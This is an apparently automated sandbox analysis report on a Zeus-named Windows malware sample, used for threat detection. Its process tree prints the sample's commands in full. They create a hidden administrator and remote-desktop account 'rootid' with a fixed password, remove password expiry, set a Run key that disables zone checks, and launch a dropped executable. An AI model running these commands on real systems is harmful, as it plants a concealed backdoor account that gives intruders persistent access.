Analysis
- max time kernel
117s - max time network
137s - platform
windows10_x64 - resource
win10v200430 - submitted
19/07/2020, 16:48
Static task
static1
Behavioral task
behavioral1
Sample
zeus 2_2.1.0.3.vir.exe
Resource
win7
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
zeus 2_2.1.0.3.vir.exe
Resource
win10v200430
windows10_x64
0 signatures
0 seconds
General
- Target zeus 2_2.1.0.3.vir.exe
- Size 199KB
- Sample200719-14ly3dznas
- SHA256 f55d6bd5f13356eda64fae070a5eee1a080f06a0aa69bdd7e137496d88346be3
- MD5 dc6b98b9707c0922ab6a53b3efdd5dac
- SHA1 a72e76fbd5dfa53b3d27ed9d9e6d194a085d7d0e
- SHA512 04b730c73876fc89eb465ebc069ad1e1bdbfbf5d1654a4bb49457d87ec290dd1832a571dea47adabea0d3f3c0461f8ce70d10fe2e4a82cbb698fed254c5d269b
- MD5 SHA1 SHA512
Score
9/10
Malware Config
Signatures
- Executes dropped EXE 1 IoCs
pid Process 3984 new.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\disable_nasty_checks = "setx SEE_MASK_NOZONECHECKS 1" zeus 2_2.1.0.3.vir.exe - Runs ping.exe 1 TTPs 5 IoCs
pid Process 3532 PING.EXE 724 PING.EXE 1284 PING.EXE 2352 PING.EXE 1808 PING.EXE - Runs net.exe
- Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
- Modifies WinLogon 2 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\rootid = "0" reg.exe - Suspicious use of WriteProcessMemory 54 IoCs
description pid Process procid_target PID 1820 wrote to memory of 2500 1820 zeus 2_2.1.0.3.vir.exe 69 PID 1820 wrote to memory of 2500 1820 zeus 2_2.1.0.3.vir.exe 69 PID 1820 wrote to memory of 2500 1820 zeus 2_2.1.0.3.vir.exe 69 PID 1820 wrote to memory of 2756 1820 zeus 2_2.1.0.3.vir.exe 71 PID 1820 wrote to memory of 2756 1820 zeus 2_2.1.0.3.vir.exe 71 PID 1820 wrote to memory of 2756 1820 zeus 2_2.1.0.3.vir.exe 71 PID 2500 wrote to memory of 3532 2500 cmd.exe 72 PID 2500 wrote to memory of 3532 2500 cmd.exe 72 PID 2500 wrote to memory of 3532 2500 cmd.exe 72 PID 1820 wrote to memory of 3604 1820 zeus 2_2.1.0.3.vir.exe 74 PID 1820 wrote to memory of 3604 1820 zeus 2_2.1.0.3.vir.exe 74 PID 1820 wrote to memory of 3604 1820 zeus 2_2.1.0.3.vir.exe 74 PID 3604 wrote to memory of 3840 3604 net.exe 75 PID 3604 wrote to memory of 3840 3604 net.exe 75 PID 3604 wrote to memory of 3840 3604 net.exe 75 PID 1820 wrote to memory of 3928 1820 zeus 2_2.1.0.3.vir.exe 76 PID 1820 wrote to memory of 3928 1820 zeus 2_2.1.0.3.vir.exe 76 PID 1820 wrote to memory of 3928 1820 zeus 2_2.1.0.3.vir.exe 76 PID 3928 wrote to memory of 3904 3928 net.exe 77 PID 3928 wrote to memory of 3904 3928 net.exe 77 PID 3928 wrote to memory of 3904 3928 net.exe 77 PID 1820 wrote to memory of 1872 1820 zeus 2_2.1.0.3.vir.exe 78 PID 1820 wrote to memory of 1872 1820 zeus 2_2.1.0.3.vir.exe 78 PID 1820 wrote to memory of 1872 1820 zeus 2_2.1.0.3.vir.exe 78 PID 1872 wrote to memory of 2220 1872 net.exe 79 PID 1872 wrote to memory of 2220 1872 net.exe 79 PID 1872 wrote to memory of 2220 1872 net.exe 79 PID 1820 wrote to memory of 3764 1820 zeus 2_2.1.0.3.vir.exe 80 PID 1820 wrote to memory of 3764 1820 zeus 2_2.1.0.3.vir.exe 80 PID 1820 wrote to memory of 3764 1820 zeus 2_2.1.0.3.vir.exe 80 PID 3764 wrote to memory of 636 3764 net.exe 81 PID 3764 wrote to memory of 636 3764 net.exe 81 PID 3764 wrote to memory of 636 3764 net.exe 81 PID 2500 wrote to memory of 724 2500 cmd.exe 82 PID 2500 wrote to memory of 724 2500 cmd.exe 82 PID 2500 wrote to memory of 724 2500 cmd.exe 82 PID 1820 wrote to memory of 672 1820 zeus 2_2.1.0.3.vir.exe 83 PID 1820 wrote to memory of 672 1820 zeus 2_2.1.0.3.vir.exe 83 PID 1820 wrote to memory of 672 1820 zeus 2_2.1.0.3.vir.exe 83 PID 1820 wrote to memory of 3984 1820 zeus 2_2.1.0.3.vir.exe 84 PID 1820 wrote to memory of 3984 1820 zeus 2_2.1.0.3.vir.exe 84 PID 1820 wrote to memory of 3984 1820 zeus 2_2.1.0.3.vir.exe 84 PID 3984 wrote to memory of 904 3984 new.exe 85 PID 3984 wrote to memory of 904 3984 new.exe 85 PID 3984 wrote to memory of 904 3984 new.exe 85 PID 2500 wrote to memory of 1284 2500 cmd.exe 89 PID 2500 wrote to memory of 1284 2500 cmd.exe 89 PID 2500 wrote to memory of 1284 2500 cmd.exe 89 PID 2500 wrote to memory of 2352 2500 cmd.exe 90 PID 2500 wrote to memory of 2352 2500 cmd.exe 90 PID 2500 wrote to memory of 2352 2500 cmd.exe 90 PID 2500 wrote to memory of 1808 2500 cmd.exe 91 PID 2500 wrote to memory of 1808 2500 cmd.exe 91 PID 2500 wrote to memory of 1808 2500 cmd.exe 91
Processes
-
C:\Users\Admin\AppData\Local\Temp\zeus 2_2.1.0.3.vir.exe"C:\Users\Admin\AppData\Local\Temp\zeus 2_2.1.0.3.vir.exe"1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1820 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\delme.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:2500 -
C:\Windows\SysWOW64\PING.EXEping localhost -n 33⤵
- Runs ping.exe
PID:3532
-
-
C:\Windows\SysWOW64\PING.EXEping localhost -n 33⤵
- Runs ping.exe
PID:724
-
-
C:\Windows\SysWOW64\PING.EXEping localhost -n 33⤵
- Runs ping.exe
PID:1284
-
-
C:\Windows\SysWOW64\PING.EXEping localhost -n 33⤵
- Runs ping.exe
PID:2352
-
-
C:\Windows\SysWOW64\PING.EXEping localhost -n 33⤵
- Runs ping.exe
PID:1808
-
-
-
C:\Windows\SysWOW64\cscript.execscript ldapdi.vbs2⤵PID:2756
-
-
C:\Windows\SysWOW64\net.exeC:\Windows\system32\net.exe user rootid Stormload0987 /add2⤵
- Suspicious use of WriteProcessMemory
PID:3604 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 user rootid Stormload0987 /add3⤵PID:3840
-
-
-
C:\Windows\SysWOW64\net.exeC:\Windows\system32\net.exe localgroup Administrators rootid /add2⤵
- Suspicious use of WriteProcessMemory
PID:3928 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup Administrators rootid /add3⤵PID:3904
-
-
-
C:\Windows\SysWOW64\net.exeC:\Windows\system32\net.exe localgroup "Remote Desktop Users" rootid /add2⤵
- Suspicious use of WriteProcessMemory
PID:1872 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Remote Desktop Users" rootid /add3⤵PID:2220
-
-
-
C:\Windows\SysWOW64\net.exeC:\Windows\system32\net.exe accounts /maxpwage:unlimited2⤵
- Suspicious use of WriteProcessMemory
PID:3764 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 accounts /maxpwage:unlimited3⤵PID:636
-
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\system32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v rootid /t REG_DWORD /d "00000000" /f2⤵
- Modifies WinLogon
PID:672
-
-
C:\Users\Admin\AppData\Local\Temp\new.exenew.exe2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3984 -
C:\Users\Admin\AppData\Local\Temp\new.exe"C:\Users\Admin\AppData\Local\Temp\new.exe"3⤵PID:904
-
-